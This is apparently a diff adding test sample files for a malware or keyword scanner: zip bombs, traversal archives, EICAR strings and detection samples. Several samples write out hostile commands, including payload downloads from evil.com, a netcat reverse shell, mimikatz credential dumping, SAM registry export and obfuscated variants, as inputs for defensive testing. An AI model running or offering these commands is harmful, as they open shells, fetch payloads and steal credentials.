Binary file not shown.
BIN
tests/samples/L0-019_zip_deep_traversal.zip
Normal file
BIN
tests/samples/L0-019_zip_deep_traversal.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-020_zip_bomb.zip
Normal file
BIN
tests/samples/L0-020_zip_bomb.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-021_small_bomb.zip
Normal file
BIN
tests/samples/L0-021_small_bomb.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-022_3layer_nested.zip
Normal file
BIN
tests/samples/L0-022_3layer_nested.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-023_5layer_nested.zip
Normal file
BIN
tests/samples/L0-023_5layer_nested.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-024_encrypted.zip
Normal file
BIN
tests/samples/L0-024_encrypted.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-025_corrupt_zip.zip
Normal file
BIN
tests/samples/L0-025_corrupt_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-026_corrupt_direntry.zip
Normal file
BIN
tests/samples/L0-026_corrupt_direntry.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-027_long_filename.zip
Normal file
BIN
tests/samples/L0-027_long_filename.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-028_unicode_filename.zip
Normal file
BIN
tests/samples/L0-028_unicode_filename.zip
Normal file
Binary file not shown.
0
tests/samples/L0-029_zero_byte_exe.exe
Normal file
0
tests/samples/L0-029_zero_byte_exe.exe
Normal file
BIN
tests/samples/L0-030_nested_traversal.zip
Normal file
BIN
tests/samples/L0-030_nested_traversal.zip
Normal file
Binary file not shown.
1
tests/samples/L1-001_eicar.txt
Normal file
1
tests/samples/L1-001_eicar.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
BIN
tests/samples/L1-002_eicar_in_zip.zip
Normal file
BIN
tests/samples/L1-002_eicar_in_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L1-003_eicar_in_encrypted.zip
Normal file
BIN
tests/samples/L1-003_eicar_in_encrypted.zip
Normal file
Binary file not shown.
BIN
tests/samples/L1-004_eicar_in_docx.docx
Normal file
BIN
tests/samples/L1-004_eicar_in_docx.docx
Normal file
Binary file not shown.
1
tests/samples/L1-005_eicar_modified.txt
Normal file
1
tests/samples/L1-005_eicar_modified.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Y5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-009_minimal.cvd
Normal file
1
tests/samples/L1-009_minimal.cvd
Normal file
@@ -0,0 +1 @@
|
|||||||
|
ClamAV-VDB: placeholder test database
|
||||||
BIN
tests/samples/L1-010_corrupt.cvd
Normal file
BIN
tests/samples/L1-010_corrupt.cvd
Normal file
Binary file not shown.
BIN
tests/samples/L1-011_eicar_in_3layer.zip
Normal file
BIN
tests/samples/L1-011_eicar_in_3layer.zip
Normal file
Binary file not shown.
1
tests/samples/L1-012_eicar_base64.txt
Normal file
1
tests/samples/L1-012_eicar_base64.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=
|
||||||
2
tests/samples/L1-013_bigfile_eicar.txt
Normal file
2
tests/samples/L1-013_bigfile_eicar.txt
Normal file
File diff suppressed because one or more lines are too long
1
tests/samples/L1-014_concurrent_eicar_00.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_00.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_01.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_01.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_02.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_02.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_03.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_03.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_04.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_04.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_05.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_05.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_06.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_06.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_07.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_07.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_08.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_08.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_09.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_09.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_test.txt
Normal file
1
tests/samples/L1-014_concurrent_test.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
concurrent test placeholder
|
||||||
1
tests/samples/L1-015_layer_off_sample.bin
Normal file
1
tests/samples/L1-015_layer_off_sample.bin
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L3-001_001_sample.ps1
Normal file
1
tests/samples/L3-001_001_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\temp\evil.exe
|
||||||
1
tests/samples/L3-002_002_sample.ps1
Normal file
1
tests/samples/L3-002_002_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
nc 10.0.0.5 4444 -e /bin/bash
|
||||||
1
tests/samples/L3-003_003_sample.bat
Normal file
1
tests/samples/L3-003_003_sample.bat
Normal file
@@ -0,0 +1 @@
|
|||||||
|
curl http://evil.com/payload -o evil.exe
|
||||||
1
tests/samples/L3-004_004_sample.txt
Normal file
1
tests/samples/L3-004_004_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
mimikatz.exe privilege::debug sekurlsa::logonpasswords
|
||||||
1
tests/samples/L3-005_005_sample.txt
Normal file
1
tests/samples/L3-005_005_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
reg save HKLM\SAM sam.save
|
||||||
1
tests/samples/L3-006_006_sample.txt
Normal file
1
tests/samples/L3-006_006_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
tscon 1 /dest:rdp-tcp:1
|
||||||
1
tests/samples/L3-007_007_sample.txt
Normal file
1
tests/samples/L3-007_007_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
SW52b2tlLVdlYlJlcXVlc3Q
|
||||||
1
tests/samples/L3-008_008_sample.ps1
Normal file
1
tests/samples/L3-008_008_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
$a="Invo";$b="ke-WebRequest"; & ($a+$b)
|
||||||
2
tests/samples/L3-009_newline_split.txt
Normal file
2
tests/samples/L3-009_newline_split.txt
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
Invoke-Web
|
||||||
|
Request https://evil.com -OutFile evil.exe
|
||||||
1
tests/samples/L3-010_010_sample.ps1
Normal file
1
tests/samples/L3-010_010_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Invoke#comment-WebRequest https://evil.com
|
||||||
1
tests/samples/L3-011_011_sample.js
Normal file
1
tests/samples/L3-011_011_sample.js
Normal file
@@ -0,0 +1 @@
|
|||||||
|
var w = new Function('wget http://evil.com/payload'); w();
|
||||||
1
tests/samples/L3-012_012_sample.bat
Normal file
1
tests/samples/L3-012_012_sample.bat
Normal file
@@ -0,0 +1 @@
|
|||||||
|
curl http://192.168.1.100/file.zip
|
||||||
2
tests/samples/L3-013_normal_scp.sh
Normal file
2
tests/samples/L3-013_normal_scp.sh
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
scp /var/log/app.log ops@192.168.1.100:/backup/logs/
|
||||||
|
rsync -av --delete /data/backup/ ops@192.168.1.100:/backup/data/
|
||||||
BIN
tests/samples/L3-014_l3001_in_zip.zip
Normal file
BIN
tests/samples/L3-014_l3001_in_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L3-015_keyword_in_docx.docx
Normal file
BIN
tests/samples/L3-015_keyword_in_docx.docx
Normal file
Binary file not shown.
0
tests/samples/L3-016_016_sample.ps1
Normal file
0
tests/samples/L3-016_016_sample.ps1
Normal file
1
tests/samples/L3-017_017_sample.txt
Normal file
1
tests/samples/L3-017_017_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
nc -lv 4444 & mimikatz privilege::debug
|
||||||
1
tests/samples/L3-018_018_sample.txt
Normal file
1
tests/samples/L3-018_018_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
iNvOkE-WebReQuEsT https://evil.com
|
||||||
1
tests/samples/L3-019_unicode_obfuscated.txt
Normal file
1
tests/samples/L3-019_unicode_obfuscated.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Іnvoke-WebRequest https://evil.com
|
||||||
3
tests/samples/L3-021_021_sample.eml
Normal file
3
tests/samples/L3-021_021_sample.eml
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
From: attacker@evil.com
|
||||||
|
|
||||||
|
|
||||||
1
tests/samples/L3-022_layer_off_sample.bin
Normal file
1
tests/samples/L3-022_layer_off_sample.bin
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe
|
||||||
BIN
tests/samples/L3-023_keyword_in_encrypted.zip
Normal file
BIN
tests/samples/L3-023_keyword_in_encrypted.zip
Normal file
Binary file not shown.
1
tests/samples/L3-024_024_sample.txt
Normal file
1
tests/samples/L3-024_024_sample.txt
Normal file
File diff suppressed because one or more lines are too long
1
tests/samples/L3-025_whitelist_test.txt
Normal file
1
tests/samples/L3-025_whitelist_test.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Invoke-WebRequest -Uri https://intranet.company.com/file.zip -OutFile D:\cache\file.zip
|
||||||
1
tests/samples/L4-001_001_sample.txt
Normal file
1
tests/samples/L4-001_001_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
shellcode test here
|
||||||
1
tests/samples/L4-002_002_sample.txt
Normal file
1
tests/samples/L4-002_002_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
this is a clean empty file with no matches
|
||||||
BIN
tests/samples/L4-003_pe_with_string.exe
Normal file
BIN
tests/samples/L4-003_pe_with_string.exe
Normal file
Binary file not shown.
2
tests/samples/L4-004_multi_rule_match.txt
Normal file
2
tests/samples/L4-004_multi_rule_match.txt
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
test_rule_a_here
|
||||||
|
test_rule_b_here
|
||||||
1
tests/samples/L4-005_005_sample.txt
Normal file
1
tests/samples/L4-005_005_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
rule hotload test
|
||||||
1
tests/samples/L4-006_bad_syntax_rule.yar
Normal file
1
tests/samples/L4-006_bad_syntax_rule.yar
Normal file
@@ -0,0 +1 @@
|
|||||||
|
rule BAD { strings: $a = "; condition: $a }
|
||||||
1
tests/samples/L4-007_meta_rule_match.txt
Normal file
1
tests/samples/L4-007_meta_rule_match.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
yara match string placeholder
|
||||||
BIN
tests/samples/L4-008_in_zip.zip
Normal file
BIN
tests/samples/L4-008_in_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L4-009_yara_in_encrypted.zip
Normal file
BIN
tests/samples/L4-009_yara_in_encrypted.zip
Normal file
Binary file not shown.
1
tests/samples/L4-010_010_sample.txt
Normal file
1
tests/samples/L4-010_010_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
regex pattern shell
|
||||||
1
tests/samples/L4-011_count_condition.txt
Normal file
1
tests/samples/L4-011_count_condition.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
yara match string placeholder
|
||||||
1
tests/samples/L4-012_size_condition.bin
Normal file
1
tests/samples/L4-012_size_condition.bin
Normal file
@@ -0,0 +1 @@
|
|||||||
|
yara match string placeholder
|
||||||
2
tests/samples/L4-013_bigfile_yara.txt
Normal file
2
tests/samples/L4-013_bigfile_yara.txt
Normal file
File diff suppressed because one or more lines are too long
1
tests/samples/L4-014_layer_off_sample.bin
Normal file
1
tests/samples/L4-014_layer_off_sample.bin
Normal file
@@ -0,0 +1 @@
|
|||||||
|
rule test placeholder
|
||||||
1
tests/samples/L4-015_hash_whitelist.txt
Normal file
1
tests/samples/L4-015_hash_whitelist.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
whitelisted content
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user